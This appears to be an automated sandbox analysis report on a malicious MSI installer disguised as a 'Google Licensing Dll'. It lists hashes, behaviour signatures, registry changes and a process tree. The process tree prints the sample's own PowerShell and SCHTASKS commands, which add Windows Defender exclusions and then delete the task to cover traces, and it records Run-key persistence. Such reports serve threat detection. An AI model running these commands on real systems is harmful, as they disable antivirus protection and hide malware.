Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
24/07/2026, 04:09
Static task
static1
Behavioral task
behavioral1
Sample
setinst.2.0.63tt0023.msi
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
setinst.2.0.63tt0023.msi
Resource
win11ltsc2024-20260710-en
General
- Target setinst.2.0.63tt0023.msi
- Size 5.8MB
- Sample260724-eq7myaed49
- SHA256 713f5d52a61e354c65bfa9ca139701c198f8d0a79416ae3e1b4699bef363d664
- MD5 74e71a893f28843d4749b67a86ff939c
- SHA1 9096a1915750e4285c3dc22b3f7bdc45607b9fa2
- SHA512 b6460d69f67fc04d731607e000f547f01e661e0dc709c60d091473d1ea63f0b7a76fd329404a0664cc9d72a183caec2d63549fb7b5ccda437202c4a84eeb0c96
- SSDEEP 98304:iNLpXZZWEkybLYC1HqsKdvG6e/vWitOxm43lato//qkKEw3neuNSHbUdkc/XQOuz:iVppZWabsiKfE/OxLEalqeuMHbyp6ry2
- TLSH T1465633C6B8C663B4E497D3F0838239AE712C3FC62F658D227A8D3B1C2E31A1A5575745
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\Y8CBq4 = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 3992 powershell.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 1 IoCs
pid Process 1536 VYlAKq.exe - Loads dropped DLL 2 IoCs
pid Process 1292 MsiExec.exe 1536 VYlAKq.exe - Modifies file permissions 1 TTPs 13 IoCs
pid Process 5580 icacls.exe 5508 icacls.exe 5000 icacls.exe 5772 icacls.exe 4340 icacls.exe 2056 icacls.exe 4572 icacls.exe 5696 icacls.exe 5956 icacls.exe 5232 icacls.exe 5848 icacls.exe 5644 icacls.exe 3184 icacls.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Y8CBq4\\VYlAKq.exe\"" VYlAKq.exe - Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 12 1292 MsiExec.exe 13 1292 MsiExec.exe 14 1292 MsiExec.exe 17 1292 MsiExec.exe 18 1292 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 7 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 2368 cmd.exe 2028 cmd.exe 5992 cmd.exe 1372 cmd.exe 1704 cmd.exe 4280 cmd.exe 620 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b VYlAKq.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576 MsiExec.exe - Drops file in Program Files directory 9 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\OzJbYu VYlAKq.exe File created C:\Program Files (x86)\OzJbYu\XPSPLOG.dll VYlAKq.exe File created C:\Program Files (x86)\OzJbYu\image.png VYlAKq.exe File opened for modification C:\Program Files (x86)\OzJbYu\OzJbYu.exe VYlAKq.exe File opened for modification C:\Program Files (x86)\OzJbYu\thumbs.db VYlAKq.exe File created C:\Program Files (x86)\OzJbYu\OzJbYu.exe VYlAKq.exe File created C:\Program Files (x86)\OzJbYu\thumbs.db VYlAKq.exe File opened for modification C:\Program Files (x86)\OzJbYu\XPSPLOG.dll VYlAKq.exe File opened for modification C:\Program Files (x86)\OzJbYu\image.png VYlAKq.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\Installer\e59aa9e.msi msiexec.exe File opened for modification C:\Windows\Installer\e59aa9e.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIAF61.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF1599B5BAA60564F6.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{DEB810EB-854C-4347-31EA-54CE741E7ECA} msiexec.exe File created C:\Windows\SystemTemp\~DF936C97227436DE06.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSIAFDF.tmp msiexec.exe File created C:\Windows\Installer\e59aaa0.msi msiexec.exe File created C:\Windows\SystemTemp\~DFDF2F24D3C9311E1B.TMP msiexec.exe File created C:\Windows\SystemTemp\~DFFF1ACB9606FCCF3F.TMP msiexec.exe - Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 236 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 6128 msiexec.exe - Executes a command shell one-liner 1 TTPs 22 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4960 cmd.exe 3436 cmd.exe 2364 cmd.exe 2560 cmd.exe 3604 cmd.exe 5528 cmd.exe 2536 cmd.exe 1256 cmd.exe 2712 cmd.exe 3576 cmd.exe 3856 cmd.exe 3948 cmd.exe 5252 cmd.exe 3172 cmd.exe 4480 cmd.exe 456 cmd.exe 1140 cmd.exe 5448 cmd.exe 1224 cmd.exe 944 cmd.exe 2184 cmd.exe 2432 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000000f2192634d2a4d980000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838010f2192630000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841010f219263000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e30f21926300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e60f21926300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\BE018BEDC458743413AE45EC47E1E7AC msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\PackageCode = "DBEA6082DE97E7C42B847CB6CBBAA096" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B0D998F6B083E84562400466342627EF msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\SourceList\PackageName = "setinst.2.0.63tt0023.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\BE018BEDC458743413AE45EC47E1E7AC\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B0D998F6B083E84562400466342627EF\BE018BEDC458743413AE45EC47E1E7AC msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\ProductName = "Google Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\BE018BEDC458743413AE45EC47E1E7AC\Version = "84017285" msiexec.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2936 schtasks.exe 4476 schtasks.exe 3992 schtasks.exe 4696 schtasks.exe 5892 schtasks.exe 1848 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2716 msiexec.exe 2716 msiexec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1292 MsiExec.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe 1536 VYlAKq.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 840 Process not Found 840 Process not Found 840 Process not Found 840 Process not Found 840 Process not Found 840 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 6128 msiexec.exe Token: SeIncreaseQuotaPrivilege 6128 msiexec.exe Token: SeSecurityPrivilege 2716 msiexec.exe Token: SeCreateTokenPrivilege 6128 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 6128 msiexec.exe Token: SeLockMemoryPrivilege 6128 msiexec.exe Token: SeIncreaseQuotaPrivilege 6128 msiexec.exe Token: SeMachineAccountPrivilege 6128 msiexec.exe Token: SeTcbPrivilege 6128 msiexec.exe Token: SeSecurityPrivilege 6128 msiexec.exe Token: SeTakeOwnershipPrivilege 6128 msiexec.exe Token: SeLoadDriverPrivilege 6128 msiexec.exe Token: SeSystemProfilePrivilege 6128 msiexec.exe Token: SeSystemtimePrivilege 6128 msiexec.exe Token: SeProfSingleProcessPrivilege 6128 msiexec.exe Token: SeIncBasePriorityPrivilege 6128 msiexec.exe Token: SeCreatePagefilePrivilege 6128 msiexec.exe Token: SeCreatePermanentPrivilege 6128 msiexec.exe Token: SeBackupPrivilege 6128 msiexec.exe Token: SeRestorePrivilege 6128 msiexec.exe Token: SeShutdownPrivilege 6128 msiexec.exe Token: SeDebugPrivilege 6128 msiexec.exe Token: SeAuditPrivilege 6128 msiexec.exe Token: SeSystemEnvironmentPrivilege 6128 msiexec.exe Token: SeChangeNotifyPrivilege 6128 msiexec.exe Token: SeRemoteShutdownPrivilege 6128 msiexec.exe Token: SeUndockPrivilege 6128 msiexec.exe Token: SeSyncAgentPrivilege 6128 msiexec.exe Token: SeEnableDelegationPrivilege 6128 msiexec.exe Token: SeManageVolumePrivilege 6128 msiexec.exe Token: SeImpersonatePrivilege 6128 msiexec.exe Token: SeCreateGlobalPrivilege 6128 msiexec.exe Token: SeBackupPrivilege 252 vssvc.exe Token: SeRestorePrivilege 252 vssvc.exe Token: SeAuditPrivilege 252 vssvc.exe Token: SeBackupPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeBackupPrivilege 4916 srtasks.exe Token: SeRestorePrivilege 4916 srtasks.exe Token: SeSecurityPrivilege 4916 srtasks.exe Token: SeTakeOwnershipPrivilege 4916 srtasks.exe Token: SeBackupPrivilege 4916 srtasks.exe Token: SeRestorePrivilege 4916 srtasks.exe Token: SeSecurityPrivilege 4916 srtasks.exe Token: SeTakeOwnershipPrivilege 4916 srtasks.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe Token: SeTakeOwnershipPrivilege 2716 msiexec.exe Token: SeRestorePrivilege 2716 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 6128 msiexec.exe 6128 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 6128 msiexec.exe 2716 msiexec.exe 1292 MsiExec.exe - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 2716 wrote to memory of 4916 2716 msiexec.exe 95 PID 2716 wrote to memory of 1292 2716 msiexec.exe 97 PID 1536 wrote to memory of 3992 1536 VYlAKq.exe 101 PID 1536 wrote to memory of 4280 1536 VYlAKq.exe 103 PID 4280 wrote to memory of 4696 4280 cmd.exe 105 PID 4280 wrote to memory of 3580 4280 cmd.exe 106 PID 4280 wrote to memory of 1288 4280 cmd.exe 108 PID 1536 wrote to memory of 620 1536 VYlAKq.exe 111 PID 620 wrote to memory of 5892 620 cmd.exe 113 PID 620 wrote to memory of 1388 620 cmd.exe 114 PID 620 wrote to memory of 3604 620 cmd.exe 116 PID 1536 wrote to memory of 2368 1536 VYlAKq.exe 119 PID 2368 wrote to memory of 1848 2368 cmd.exe 121 PID 2368 wrote to memory of 3916 2368 cmd.exe 122 PID 2368 wrote to memory of 4232 2368 cmd.exe 124 PID 3576 wrote to memory of 3444 3576 cmd.exe 126 PID 944 wrote to memory of 1640 944 cmd.exe 125 PID 1536 wrote to memory of 2028 1536 VYlAKq.exe 128 PID 2028 wrote to memory of 2936 2028 cmd.exe 130 PID 2028 wrote to memory of 6132 2028 cmd.exe 131 PID 2028 wrote to memory of 5864 2028 cmd.exe 133 PID 1536 wrote to memory of 5992 1536 VYlAKq.exe 136 PID 5992 wrote to memory of 4476 5992 cmd.exe 138 PID 5992 wrote to memory of 2900 5992 cmd.exe 140 PID 3436 wrote to memory of 4576 3436 cmd.exe 139 PID 5992 wrote to memory of 3296 5992 cmd.exe 142 PID 456 wrote to memory of 3200 456 cmd.exe 144 PID 2364 wrote to memory of 5748 2364 cmd.exe 145 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\setinst.2.0.63tt0023.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:6128
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:4916
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 0560057BBF74CA4B48FB7E6637984869 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1292
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:252
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C:\Users\Public\Y8CBq4\VYlAKq.exe"C:\Users\Public\Y8CBq4\VYlAKq.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:3992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Y8CBq4\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4280 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Y8CBq4\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4696
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3580
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1288
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:620 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5892
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1388
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3604
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1848
